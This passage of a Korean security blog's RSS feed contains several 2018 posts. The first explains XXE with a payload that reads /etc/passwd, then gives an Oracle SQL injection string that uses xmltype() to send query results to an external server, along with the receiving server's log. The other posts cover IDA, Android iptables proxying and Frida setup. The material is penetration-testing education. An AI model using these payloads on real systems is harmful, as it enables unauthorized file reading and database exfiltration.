1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;XXE(XML&amp;nbsp;eXternal Entity)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;XXE는 몇년 전부터 이슈가 되었던 취약점으로, XML파서를 공격하는 데 주로 사용되는 공격방법이다. 정확히는 external entity 는 원래 있는 기능이고, 이를 악용하면 파일 읽기, 폴더 읽기, SSRF 등 다양한 악성 행위가 가능한 취약점이다.&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;ex) XXE 예시&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&amp;lt;!DOCTYPE root [&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&amp;nbsp; &amp;nbsp;&lt;b&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&amp;lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot;&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;]&amp;gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&amp;lt;tag&amp;gt;&amp;amp;xxe;&amp;lt;/tag&amp;gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;XXE 를 이용한 SQL인젝션 OOB &lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;(SQL인젝션 + XXE)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;오라클에서 xmltype 함수를 이용하여 XML 을 사용할 수 있는데 이때 XXE 를 활용할 수 있다. 즉 아래와 같은 방법으로 오라클의 xml parser 에게 외부 서버로 OOB 를 날리도록 하여 쿼리 결과를 받을 수 있다.&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;table class=&quot;txc-table&quot; width=&quot;864&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; border=&quot;0&quot; style=&quot;border:none;border-collapse:collapse;;font-family:&quot; 맑은=&quot;&quot; 고딕&quot;,=&quot;&quot; sans-serif;font-size:19px&quot;=&quot;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;width:864;height:24;border-bottom:1px solid #ccc;border-right:1px solid #ccc;border-top:1px solid #ccc;border-left:1px solid #ccc;;&quot;&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;7777 and 1=((select extractvalue(&lt;b&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;xmltype('&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&amp;lt;!DOCTYPE&amp;nbsp; root [ &amp;lt;!ENTITY % remote SYSTEM &quot;http://x.x.x.x/'||&lt;span style=&quot;color: rgb(9, 0, 255);&quot;&gt;(SELECT user from dual)&lt;/span&gt;||'&quot;&amp;gt;%remote;]&amp;gt;'),'/l')&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;/span&gt;from dual)) FROM DUAL--&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;결과값을 받을 외부 서버에서)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;# python -m SimpleHTTPServer 53&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Serving HTTP on 0.0.0.0 port 53 ...&lt;/p&gt;&lt;p&gt;x.x.x.x. - - [09/Nov/2018 10:48:25] code 404, message File not found&lt;/p&gt;&lt;p&gt;x.x.x.x - - [09/Nov/2018 10:48:25] &quot;GET /&lt;b&gt;&lt;span style=&quot;color: rgb(9, 0, 255);&quot;&gt;hyunmini&lt;/span&gt;&lt;/b&gt;&amp;nbsp;HTTP/1.0&quot; 404 -&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;위와 같이 GET 요청에 쿼리 결과값이 포함되어 날아오는 것을 확인할 수 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;웹해킹은 여전히 심오하다. 끝.&lt;/p&gt;</description>
      <category>Web Hacking</category>
      <category>BlindSQL</category>
      <category>OOB</category>
      <category>SQL OOB</category>
      <category>XXE</category>
      <category>XXE OOB</category>
      <category>인젝션</category>
      <author>hyunmini</author>
      <guid isPermaLink="true">https://hyunmini.tistory.com/131</guid>
      <comments>https://hyunmini.tistory.com/131#entry131comment</comments>
      <pubDate>Fri, 9 Nov 2018 13:10:37 +0900</pubDate>
    </item>
    <item>
      <title>IDA Hexray 문자열이 제대로 보이지 않을때 옵션 설정방법</title>
      <link>https://hyunmini.tistory.com/130</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;IDA Hexray&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;간혹 헥스레이에서 문자열이 &quot;test1234&quot; 대신 atest&amp;nbsp;요런 식으로 변수명으로 나와서 불편할 때가 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이런 경우 설정방법.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 373px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990E143B5BA274630C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990E143B5BA274630C&quot; width=&quot;373&quot; height=&quot;218&quot; filename=&quot;111.gif&quot; filemime=&quot;image/gif&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;요렇게 문자열 대신 변수명으로 나올때&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 717px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991A313B5BA274642F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991A313B5BA274642F&quot; width=&quot;717&quot; height=&quot;474&quot; filename=&quot;222.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;헥스레이 옵션에서 &quot;Print only constant string literals&quot; 옵션 체크 해제&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 448px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9952AC3B5BA2746418&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9952AC3B5BA2746418&quot; width=&quot;448&quot; height=&quot;338&quot; filename=&quot;333.gif&quot; filemime=&quot;image/gif&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이제 잘 보인다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Reversing</category>
      <category>hexray</category>
      <category>ida 문자열</category>
      <category>헥스레이 옵션</category>
      <author>hyunmini</author>
      <guid isPermaLink="true">https://hyunmini.tistory.com/130</guid>
      <comments>https://hyunmini.tistory.com/130#entry130comment</comments>
      <pubDate>Thu, 20 Sep 2018 01:09:34 +0900</pubDate>
    </item>
    <item>
      <title>Android 패킷 캡처를 위한 iptables 명령어 정리</title>
      <link>https://hyunmini.tistory.com/129</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;안드로이드 패킷 포워딩(burp 등으로)용 iptables&amp;nbsp;명령어 정리.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;보통 proxydroid, autoproxy 등 자동 설정 apk 를 이용하면 되지만 80, 8080, 443이 아닌 경우&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;리다이렉트가 안되는 경우가 있다. 그런 경우 직접 아래와 같이 iptables 로 세팅해줄 수 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;# iptables -F&amp;nbsp;&lt;/b&gt; &amp;nbsp; // 전체 삭제&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;# iptables -L -t nat&amp;nbsp;&lt;/b&gt; // nat 리스트&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;아래는 proxydroid 포트로 리다이렉트 하는 경우.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;# iptables -A OUTPUT -t nat -p tcp --dport 10443 -j REDIRECT --to-port 8124&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;Chain OUTPUT (policy ACCEPT)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;target&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;prot&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt; opt source&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;destination&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;REDIRECT&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;udp&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&amp;nbsp; --&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot; class=&quot;&quot;&gt;anywhere&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;anywhere&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;udp&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;dpt&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot; class=&quot;&quot;&gt;:domain&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot; class=&quot;&quot;&gt;redir&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt; ports 54358&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;RETURN&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;tcp&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&amp;nbsp; --&amp;nbsp; anywhere&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;192.168.43.187&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;REDIRECT&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;tcp&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&amp;nbsp; --&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;anywhere&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;anywhere&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;tcp&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;dpt&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;http&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;redir&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt; ports 8123&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;REDIRECT&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;tcp&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&amp;nbsp; --&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;anywhere&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;anywhere&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;tcp&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot; class=&quot;&quot;&gt;dpt&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;:https&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;redir&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt; ports 8124&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;REDIRECT&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot; class=&quot;&quot;&gt;tcp&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&amp;nbsp; --&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot; class=&quot;&quot;&gt;anywhere&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;anywhere&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;tcp&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;dpt&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;:5228 &lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;redir&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt; ports 8124&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;REDIRECT&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot; class=&quot;&quot;&gt;tcp&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&amp;nbsp; --&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot; class=&quot;&quot;&gt;anywhere&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;anywhere&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;tcp&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot; class=&quot;&quot;&gt;dpt&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;:10443 &lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;redir&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; ports 8124&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Android Hacking</category>
      <author>hyunmini</author>
      <guid isPermaLink="true">https://hyunmini.tistory.com/129</guid>
      <comments>https://hyunmini.tistory.com/129#entry129comment</comments>
      <pubDate>Wed, 12 Sep 2018 13:09:37 +0900</pubDate>
    </item>
    <item>
      <title>Frida 권한 오류 해결</title>
      <link>https://hyunmini.tistory.com/128</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;간만에 점검용 폰을 새로 세팅해야 할 일이 있어서 간략히 정리.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;# 세팅 순서&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;- custom recovery 설치, custom rom&amp;nbsp;설치&lt;/p&gt;&lt;p&gt;- magisk, su&amp;nbsp;설치(루팅)&lt;/p&gt;&lt;p&gt;- gdb, frida... (점검용 툴들)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;다 잘 되다가..&amp;nbsp;frida 에서 뜬금없이 오류가 떠서 당황..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&lt;b&gt;$ frida-ps -Uai&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;Failed to enumerate applications: failed to execute child process “/data/local/tmp/re.frida.server/frida-helper-64” (Permission denied)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;검색해보니 동일한 오류를 겪은 선구자(?) 들이 있었고 검색 후 해결할 수 있었다.&lt;/p&gt;&lt;p&gt;(삼성계열 폰에서 selinux&amp;nbsp;policy 와 관련해 자식프로세스 생성 시 발생하는 문제라고 하나 정확히 알아보진 않음.)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;몇번의 시도 후 성공했는데, 결론적으로 아래와 같이 /system/priv-app 폴더로 복사해주면 해결된다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;$ frida-ps -Uai&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&amp;nbsp; PID&amp;nbsp; Name&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Identifier&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;-----&amp;nbsp; ----------------------------------------------&amp;nbsp; -------------------------------------------------&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;11267&amp;nbsp; AhnLab V3 Mobile Plus 2.0&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;com.ahnlab.v3mobileplus&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&amp;nbsp;4398&amp;nbsp; Android Services Library&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; com.google.android.ext.services&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&amp;nbsp;6857&amp;nbsp; BadgeProvider&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;com.sec.android.provider.badge&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;21975&amp;nbsp; CMHProvider&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;com.samsung.cmh&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&amp;nbsp;4158&amp;nbsp; CSC&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;com.samsung.sec.android.application.csc&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ...&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;잘 됩니다.&lt;/p&gt;</description>
      <category>Android Hacking</category>
      <author>hyunmini</author>
      <guid isPermaLink="true">https://hyunmini.tistory.com/128</guid>
      <comments>https://hyunmini.tistory.com/128#entry128comment</comments>
      <pubDate>Tue, 11 Sep 2018 15:17:13 +0900</pubDate>
    </item>
    <item>
      <title>xmltype() 함수를 이용한 Oracle Error Based SQL Injection</title>
      <link>https://hyunmini.tistory.com/127</link>
